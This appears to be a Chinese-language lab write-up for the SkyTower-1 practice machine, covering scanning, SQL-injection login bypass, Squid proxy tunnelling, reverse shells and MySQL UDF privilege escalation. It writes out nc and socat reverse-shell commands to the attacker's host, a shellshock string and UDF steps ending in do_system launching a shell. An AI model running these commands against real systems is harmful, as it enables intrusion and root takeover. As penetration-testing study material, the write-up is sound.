項目11:SkyTower-1(上)
##Nmap掃描
---靶機IP:192.168.95.157

---全端口掃描,開放22,80,3128
---注意:22端口是過濾狀態(tài):服務(wù)端將收到的 nmap SYN 報文直接丟棄,不進行應(yīng)答, 由于 nmap 發(fā)送了兩個 SYN ,都沒有收到應(yīng)答
----所以認定服務(wù)端開啟了防火墻,將 SYN 報文丟棄

----sS是半開放掃描:在收到SYN/ACK后,不發(fā)送ACK應(yīng)答而是發(fā)送RST包請求斷開連接。
---這樣,三次握手就沒有完成,無法建立正常的TCP連接,掃描就不會被記錄到系統(tǒng)日志

---nmap掃描端口的狀態(tài)

---Squid是一個單進程的異步代理緩存服務(wù)器,支持HTTP,FTP,GOPHER,ICP等協(xié)議
---通過配置,可以實現(xiàn)反向代理、透明代理的功能,并且支持緩存,是實現(xiàn)高性能網(wǎng)站的必備基礎(chǔ)設(shè)施之一。通常部署在應(yīng)用服務(wù)器的前端
---如果一個人想下載一web頁面,他請求Squid為他取得這個頁面
----思路:Web枚舉用戶信息 > SSH爆破

##Web信息收集
---訪問80端口,發(fā)現(xiàn)一個登陸框
---思路:1.弱口令 2.SQL注入 3.爆破 4.strcmp繞過(需要用戶名正確)
---這里是郵件登陸,沒有信息也不好弱口令和爆破,先使用SQLmap

---使用SQLmap的表單注入
---發(fā)現(xiàn)不能夠注入

----抓包分析,這里參數(shù)沒有經(jīng)過加密

---dirb掃描,去訪問除了一張背景圖,其它沒有什么信息

---nikto掃描,發(fā)現(xiàn)了icons/README,/login.php,/#wp-config.php#三個目錄
----但是icons/README沒有什么信息,/#wp-config.php#需要登陸訪問,突破點還是登陸頁面

---回頭分析登陸界面,如果存在WAF,會對登陸界面的POST傳參進行過濾
---這也是SQLmap失敗的原因,繞過方法:采用FUZZ測試是否存在注入點
----sql的FUZZ字典下載:
https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list
---通過repeter模塊,對于表單進行測試,發(fā)現(xiàn)這里存在SQL注入
---通過admin',發(fā)現(xiàn)MYSQL報錯,說明存在注入,但是sqlmap失敗說明存在過濾

---這里發(fā)現(xiàn),應(yīng)該是對于and? = 等特殊符號進行了過濾

---BurpSuite的intruder模塊
1:Target 用于配置目標服務(wù)器進行攻擊的詳細信息(IP/端口/http or https)
2:Positions? 設(shè)置Payloads的插入點以及攻擊類型(攻擊模式)
3:Payloads? 設(shè)置payload,配置字典
4:Opetions?? 此選項卡包含了request headers,request engine,attack results ,grep match,grep_extrack,grep payloads和redirections。你可以發(fā)動攻擊之前,在主要Intruder的UI上編輯這些選項,大部分設(shè)置也可以在攻擊時對已在運行的窗口進行修改
---上面幾個攻擊模式:cluster bomb > pitchfork > battering ram > sniper(適合已知用戶名)

---設(shè)置攻擊模式為:Pitchfork,即存在2個字典,采用1:1,2:2,3:3的樣子進行并行爆破
---如果是cluster bomb,則是:1:1,1:2,1:3,2:1,2:2,2:3,3:1,3:2,3:3進行交叉爆破

---Payload Opetions[Simple list]??該選項會根據(jù)選項1中Payload type的設(shè)置而改變

---生成的Payload進行編碼、加密、截取等操作

---Payload Encoding 配置哪些有效載荷中的字符應(yīng)該是URL編碼的HTTP請求中的安全傳輸

---在payload處配置字典為簡單字典,然后對字符進行URL編碼

---點擊Attack,根據(jù)返回的字節(jié)進行測試

---查看1838長度的返回包,這里獲取到用戶名和密碼(只有一個用戶和密碼)
---如下:john@skytech.com ,john,hereisjohn

---這里的注入原理,因該是萬能密碼,即構(gòu)造為真的查詢條件,繞過

---同理,根據(jù)返回分析,對and、=字符過濾
----這里可以使用 || 符,替代and構(gòu)建萬能密碼,利用成功返回了賬號密碼

---采用用戶名和密碼登陸,復(fù)制內(nèi)容百度翻譯,這里提示使用SSH進行登陸
---但是ssh端口是存在防火墻,所以需要通過3128端口進行代理訪問

##代理轉(zhuǎn)發(fā)技術(shù)
---方法1:proxychains ;方法2:proxytunnel
---Squid cache(簡稱為Squid)是流行最廣的,使用最普遍的開源緩存代理服務(wù)器。squid的主要作用和應(yīng)用場景有:
用來做前置的Web緩存,加快用戶訪問Web的速度
代理內(nèi)網(wǎng)用戶訪問互聯(lián)網(wǎng)資源
設(shè)置訪問控制策略,控制用戶的上網(wǎng)行為
主要支持http、ftp等應(yīng)用協(xié)議
---正向代理和透明代理中的代理服務(wù)器和客戶端同屬一個LAN,對server端是透明的,
---服務(wù)器并不知道自己為誰提供服務(wù),作用都是讓內(nèi)網(wǎng)用戶可以通過代理服務(wù)器上互聯(lián)網(wǎng),
---也可以提高訪問速度,并且可以通過代理服務(wù)器的訪問控制限制內(nèi)網(wǎng)用戶的上網(wǎng)行為
---透明代理和正向代理的區(qū)別:不需要指明代理的IP和端口

---反向代理:反向代理的過程隱藏了真實的服務(wù)器,客戶不知道真正提供服務(wù)的人是誰,客戶端請求的服務(wù)都被代理服務(wù)器處理。反向代理代理的是響應(yīng)方,也就是服務(wù)端
---可以起到負載均衡的作用,提高用戶的訪問速度

---應(yīng)用場景
正向和透明代理:一般用于公司內(nèi)網(wǎng)用戶訪問互聯(lián)網(wǎng),根據(jù)需求進行訪問控制
反向代理:一般用于公司服務(wù)器集群前做web緩存,提高用戶訪問效率,同時可以起到負載均衡作用,為互聯(lián)網(wǎng)提供可持續(xù)的web服務(wù)
#和NAT的區(qū)別
---1. SNAT(內(nèi)網(wǎng)用戶上外網(wǎng))和DNAT(內(nèi)網(wǎng)服務(wù)發(fā)布到公網(wǎng))
網(wǎng)絡(luò)層次:網(wǎng)絡(luò)層
局域網(wǎng)用戶訪問外網(wǎng)走snat模式,同一個數(shù)據(jù)包,改變數(shù)據(jù)包頭部的來源地址,再把數(shù)據(jù)包發(fā)到internet。
---2. 代理服務(wù)器模式
??? 網(wǎng)絡(luò)層次:應(yīng)用層
??? 不改變數(shù)據(jù)包頭信息,把數(shù)據(jù)包代理給internet的服務(wù)器,基于應(yīng)用層的過濾,應(yīng)用層協(xié)議:http、ftp、pop、smtp、p2p? ;作用:緩存頁面,加速訪問,ACL資源訪問
#1)方法1:proxychains代理
---ProxyChains可以使任何程序通過代理上網(wǎng), 允許TCP和DNS通過代理隧道, 支持HTTP、 SOCKS4和SOCKS5類型的代理服務(wù)器,支持 Tor、HTTP、與 Socks 代理。與 sshuttle 不同的是,ProxyChains 只會將當前應(yīng)用的 TCP 連接轉(zhuǎn)發(fā)至代理,而非全局代理
---配置ProxyChains代理的配置文件
---配置http協(xié)議為192.168.95.157的3128端口

---通過proxychains ssh john@192.168.95.157登陸失敗
---提示:資金已提?。▽?yīng)之前的登陸情景,說需要SSH提取退休金)
---獲取到Linux的內(nèi)核3.2.0,以及x64的架構(gòu)

---嘗試進行ssh命令執(zhí)行,發(fā)現(xiàn)可以執(zhí)行命令
---如果不行可以嘗試ssh-shellshock(前提是/bin/bash<=4.3):?? '(){:;};/bin/bash'

---探測一下靶機安裝了反彈shell的軟件沒有
--發(fā)現(xiàn)沒有安裝python,但是存在nc/perl等

---采用nc反彈Shell:
?proxychains ssh john@192.168.95.157 -t nc 192.168.95.152 6677 -e /bin/bash

---Kail監(jiān)聽,接受到shell
---但是靶機沒有Python,沒有辦法進行pty(python -c 'import pty; pty.spawn("/bin/bash")')

#2)方法2:proxytunnel隧道代理
---proxytunnel是一款利用http connection封裝技術(shù)建立隧道的工具
---使用條件:防火墻禁止DNS和ICMP隧道,只允許代理服務(wù)器上網(wǎng)的情景
---a監(jiān)聽本地的1234端口,通過代理192.168.95.157:3128,訪問靶機本地的22端口
---然后Kail指定本地1234端口訪問ssh
---注意:ssh登陸的是127.0.0.1的john賬戶
##一句話反彈shell的總結(jié)
---bash反彈
---awk反彈
---telnet反彈
---whois反彈(反彈的shell只能執(zhí)行后面帶的命令)
---nc反彈Shell
---mkfifo 命令的作用是創(chuàng)建FIFO特殊文件,通常也稱為命名管道,F(xiàn)IFO文件在磁盤上沒有數(shù)據(jù)塊,僅用來標識內(nèi)核中的一條通道,各進程可以打開FIFO文件進行read/write,
---實際上是在讀寫內(nèi)核通道(根本原因在于FIFO文件結(jié)構(gòu)體所指向的read、write函數(shù)和常規(guī)文件不一樣),這樣就實現(xiàn)了進程間通信
---socat反彈(沒有python時建立Pty)
---exec:'bash -li',pty,stderr,setsid,sigint,sane
:這部分是socat的參數(shù)
---bash -li
,它表示要執(zhí)行一個交互式的bash shell,其他參數(shù)的含義如下:
pty
:分配一個偽終端,使得遠程主機認為它正在與一個終端交互stderr
:將目標命令的標準錯誤重定向到連接setsid
:在執(zhí)行命令時創(chuàng)建一個新的會話,有助于將命令與終端分離sigint
:允許通過發(fā)送 SIGINT 信號(例如按下 Ctrl+C)來中斷目標命令sane
:在連接關(guān)閉時恢復(fù)終端的設(shè)置
---python反彈
---perl反彈
---php反彈
---Java反彈
---lua反彈shell( CentOS7默認已經(jīng)安裝了5.1.4)
---C語句反彈Shell(需要gcc -o)
---msfvenom 獲取反彈一句話
---msfvenom -l 結(jié)合關(guān)鍵字過濾(如cmd/unix/reverse),找出我各類反彈一句話payload
---msfvenom -l payloads 'cmd/unix/reverse'

---反彈的一句話,注意:結(jié)尾是R
#Socat使用
---socat是強大易用的網(wǎng)絡(luò)工具,可以實現(xiàn)任意socket的轉(zhuǎn)換,可以看作是netcat
的增強版
---socat 的主要特點:在兩個數(shù)據(jù)流之間建立隧道;并且支持眾多協(xié)議和鏈接方式(如:IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等)
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
---監(jiān)聽(注意,需要添加-)
---這里類似于進程間通信

---反彈shell
---端口轉(zhuǎn)發(fā):將本地88 端口的流量 轉(zhuǎn)發(fā)到遠程指定端口
---請求重定向到本地88 --> 監(jiān)聽本地 88 端口 --> 遠程 8888 端口
---建立遠程端口轉(zhuǎn)發(fā)

---向本地88端口發(fā)送數(shù)據(jù),結(jié)果目標主機會出現(xiàn)指定信息

---Kail下載socat(--no-check-certificate忽略https的證書驗證)
---然后使用python開啟http:python -m http.server 8081
---靶機下載socat,賦予執(zhí)行權(quán)限,然后反彈shell到Kail的9999端口
HOME=/dev/shm
:這部分設(shè)置了一個環(huán)境變量HOME
,將其值設(shè)置為/dev/shm
。/dev/shm
通常用于在內(nèi)存中創(chuàng)建臨時文件系統(tǒng),可能是為了避免在磁盤上留下痕跡。在這里,它可能是為了隱藏與連接有關(guān)的活動
---通過socat建立一個穩(wěn)定的反彈Shell(除了python的pty,只有這個方法)

---在Kail監(jiān)聽9999,并且執(zhí)行:script -qc bash /dev/null(因該是bash的歷史記錄)
script
:這是一個用于記錄會話的命令。它會創(chuàng)建一個子 shell,記錄用戶在該子 shell 中執(zhí)行的所有輸入和輸出,并將其保存到一個檔案文件中。-qc bash
:這部分是 ?script
命令的參數(shù)。其中 ?-q
選項表示“安靜模式”,即不在終端上顯示會話的開始和結(jié)束消息。-c bash
指定要在會話中運行的命令,這里是啟動一個交互式的 Bash shell。/dev/null
:這是一個特殊的文件,表示一個空設(shè)備文件,會將所有寫入其中的數(shù)據(jù)立即丟棄。在這個命令中,它被用作 ?script
命令的輸出文件,表示會話的輸出將被丟棄

---當然,也可以使用socat進行tcp監(jiān)聽

#WAF分析
---前面報錯的時候提示了:Funds have been withdrawn
---通過grep的-r進行遞歸搜索關(guān)鍵字,-n顯示行數(shù),找到關(guān)于SSH報錯的文件

---查看?? .bashrc的權(quán)限,發(fā)現(xiàn)就是john用戶的文件,并且具有寫權(quán)限

---cat .bashrc(Bash shell 配置文件,通常位于用戶的主目錄下的 ?.bashrc
文件中)
---該文件定義了一些設(shè)置、別名和命令,以自定義用戶在命令行中的工作環(huán)境和體驗
---總的來說,在.bashrc里面存在2處異常,1是對于交互shell的檢測,2echo后exit退出Shell
---如果是交互Shell就,執(zhí)行echo并且退出SHELL;不是交互shell,就直接退出腳本
---思路:刪除.bashrc ; 重命名;重寫刪除內(nèi)容 ; 替換內(nèi)容
---重命名,然后使用SSH再登陸一次就可以了

---將exit替換成echo,-i? 直接修改文件
---s
表示替換操作的開始,exit
是要查找的內(nèi)容,echo
是替換的內(nèi)容,
---g
表示全局替換,即一行中的所有匹配都會被替換
---或者從用戶的 ?.bashrc
文件中移除最后三行內(nèi)容,然后將結(jié)果覆蓋回同一文件
---小技巧:每五分鐘回彈一個shell(有時候Shell會莫名其妙的斷)
#提權(quán)信息收集
---本地開啟了3306端口(只允許本地訪問),因該可以進行UDF提權(quán)

---查看系統(tǒng)內(nèi)核的版本、系統(tǒng)架構(gòu)以及發(fā)行版本

---上傳linpeas.sh腳本,chmod賦予執(zhí)行權(quán)限,然后運行

---這里MySQL和cron是root權(quán)限

---這里是Apache的解析
---這里的 <FilesMatch>
塊用于匹配特定文件擴展名(.php
、.php3
、.php4
、.php5
、.phtml
、.ptml
)的文件
---<FilesMatch ".+\.phps$">
對以 ?.phps
結(jié)尾的文件進行特定的處理

---允許遠程SSH的root賬戶登陸

---這里沒有枚舉到數(shù)據(jù)庫用戶的信息
---LinEnum 是一個高級 Bash 腳本,它從目標系統(tǒng)中提取了大量有用的信息,可以復(fù)制文件并進行導(dǎo)出,同時可以搜索包含關(guān)鍵字的文件
---項目地址:https://github.com/rebootuser/LinEnum
---通過ARP地址解析,發(fā)行Kail連接過LInu環(huán)境

---這里發(fā)行sudo的版本和MySql的版本
---Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞
---Sudo屬于[1.8.2? - 1.8.31]U[1.9.0 - 1.9.5]存在 CVE-2021-3156 漏洞(需要exploit)

---Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞
---發(fā)現(xiàn)test用戶可以執(zhí)行SUDO

---這里也沒有枚舉到數(shù)據(jù)庫密碼信息
---進入/var/www目錄下,查看登陸頁面:login.php

---具體代碼如下,發(fā)現(xiàn)Mysql的密碼是:root/root
---以及SQL注入防范的方式是黑名單注入
##MYSQL信息枚舉及提權(quán)
---登陸login的數(shù)據(jù)庫查看用戶信息,但是由于之前信息枚舉時
---從用戶組看,沒有用戶存在Sudo權(quán)限
---但是,一下用戶可能設(shè)置了SUDO,可以通過/etc/sudoers設(shè)置sudo權(quán)限

---查看是否具有導(dǎo)入導(dǎo)出文件的權(quán)限,發(fā)現(xiàn)可以進行UDF提權(quán)(等會再測試)

---查看當前用戶的sudo權(quán)限和所有用戶的sudoers

---這里因該是在/etc/sudoers里面設(shè)置
test
:這是一個用戶名,表示允許 "test" 用戶執(zhí)行 sudo 命令。ALL=(ALL, !root)
:這部分是 sudoers 文件中的規(guī)則,它有兩部分:第一個 ?
ALL
:表示允許在任何主機上執(zhí)行命令。第二個 ?
(ALL, !root)
:表示在任何用戶身份下(ALL)執(zhí)行命令,但是排除了 "root" 用戶(!root)的ALL
:最后一個 "ALL" 表示允許執(zhí)行所有命令
---即允許 "test" 用戶以任何用戶身份(除了 "root" 用戶)在任何主機上執(zhí)行所有的命令
---嘗試使用數(shù)據(jù)庫里面的用戶登陸
---注意:第一次需要將.bashrc給重命名,然后第二次登陸

---查看當前用戶的sudo設(shè)置
---/bin/cat /accounts/*是允許cat /accounts/目錄下任意文件
---/bin/ls /accounts/*是允許 ls /accounts目錄下任意文件

---這里的話,是不能進行提權(quán)的,但是可以通過../../../../查看root目錄下的文件
---通過flag獲取到root的,而之前在Ssh的配置文件允許rootSSH登陸:PermitRootLogin yes

---補充UDF提權(quán):
----查看Mysql版本:dpkg -l | grep mysql
---查看mysql是否具有root:ps aux | grep root|grep mysql

---在Mysql里面查看用戶登陸:select Host,User,Password from mysql.user;
---在內(nèi)網(wǎng)里面,可以通過Mysql.user表獲取IP地址進行橫向移動
---也可以對密碼進行破解(這里直接說明了web的數(shù)據(jù)庫用戶就是SSH)

---在谷歌搜索:MySQL 5.x udf exploit

---查看EDB-ID:1518,發(fā)現(xiàn)系統(tǒng)執(zhí)行的函數(shù)是do_sysyem()
---也可以在kail進行本地搜索

---也可以使用msf的mysqludf提權(quán)的so文件(sqlmap也可以進行UDF提權(quán)但是一般不用)
---這里發(fā)現(xiàn),Winddows和Linux的關(guān)于x86和x64的包(靶機是X64的,但是選X86的也兼容)
sys_eval,執(zhí)行任意命令,并將輸出返回
sys_exec,執(zhí)行任意命令,并將退出碼返回
sys_get,獲取一個環(huán)境變量
sys_set,創(chuàng)建或修改一個環(huán)境變量

---注意,靶機上沒有g(shù)cc /cc /g++,所以只能先編譯成so文件然后上傳

---嘗試在Kail里面編譯鏈接成so文件,再上傳

---查看插件的位置(區(qū)分global variables):show variables like '%plugin%';
---發(fā)現(xiàn)在:/usr/lib/mysql/plugin/

---在mysql數(shù)據(jù)庫里面創(chuàng)建一個名為huangbo的表,表的列的數(shù)據(jù)類型為:Longblob
---Mysql的四種blob(存儲二進制):tinyblob;? blob;? mediumblob;? longblob

---將so文件插入huangbo表:insert into huangbo values(load_file('/tmp/udf_1518.so'));

---然后將huangbo表的數(shù)據(jù),導(dǎo)出到/usr/lib/mysql/plugin/目錄下的so文件
---但是這里報錯了,用戶存在寫入權(quán)限
---注意:不一定secure_file_pri滿足就可以UDF提權(quán)

---但是mysql的權(quán)限是root用戶

##知識點總結(jié)
---1.Nmap主機發(fā)現(xiàn)、端口掃描(SYN > SYN/ACK >RST)、版本掃描
---2.Squid代理:正向代理、透明代理(和客戶機同網(wǎng)段,內(nèi)網(wǎng)訪問外網(wǎng))、反向代理(服務(wù)端網(wǎng)段)
---3.Burp抓包測試SQL注入,sqlmap測試、burp的intruder萬能密碼字典FUZZ獲取密碼
---4.通過proxychains和proxytunnel(監(jiān)聽本地端口,轉(zhuǎn)發(fā)到靶機squid)進行代理轉(zhuǎn)發(fā)
---5.ssh登陸進行命令執(zhí)行,查詢ssh的配置文件:/home/用戶名/.bashrc(配置SSH和shell)
---6.反彈shell:bash、exec、awk、telent、whois、nc、socat
---7.腳本語言反彈shell:python、perl、java、php、c、msfvenom -l payloads 'cmd/unix/reverse'
---8.偽shell的提升:pty;stty(安裝python);socat(下載腳本)
---9.通過腳本收集信息,獲取數(shù)據(jù)庫密碼,分析登陸界面的防止SQL注入的黑名單
---10.msyql信息收集,mysql.user表獲取用戶IP地址內(nèi)網(wǎng)橫向,獲取其它用戶的SSH密碼,探測不同賬戶的sudo -l嘗試提權(quán)
---11.通過sduo -l獲取sudo的命令:cat、ls,通過../../root/flag.txt進行訪問獲取root密碼
---12.uDF提權(quán)的exp的三種獲?。ü雀?、searchexploit、msf的lib_mysqludf)
---13.sudo系統(tǒng)漏洞提權(quán)(Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞)
以及(Sudo屬于[1.8.2? - 1.8.31]U[1.9.0 - 1.9.5]存在 CVE-2021-3156 漏洞(需要exploit))
---14.UDF的提權(quán)步驟:1.查詢global variables like '%secure%'和variables like '%plugin%'? 2.獲取exp的命令執(zhí)行函數(shù) 3.在mysql里面創(chuàng)建一個表(line longblob) 4.通過load_file('/tmp/dayu.so')將so文件轉(zhuǎn)換為二進制數(shù)據(jù),然后通過 insert dayu into values()插入 5.將mysql.dayu通過 select * from dayu獲取插入的數(shù)據(jù),然后通過into dumpfile ‘/usr/lib/mysql/plugin/dayu.so'導(dǎo)出到插件目錄 6.根據(jù)插件的so文件,創(chuàng)建函數(shù)
CREATE FUNCTION do_system RETURNS INTEGER
:這部分聲明了要創(chuàng)建一個名為 "do_system" 的函數(shù),函數(shù)的返回類型是整數(shù)(INTEGER)。SONAME 'dayu.so'
:這部分表示將函數(shù)鏈接到一個共享庫文件。共享庫的文件名是 'dayu.so'
7.查詢mysql.func表,發(fā)現(xiàn)do_system函數(shù)被創(chuàng)建 8.select do_system('nc IP:端口 -e /bin/bash')反彈root到Kail
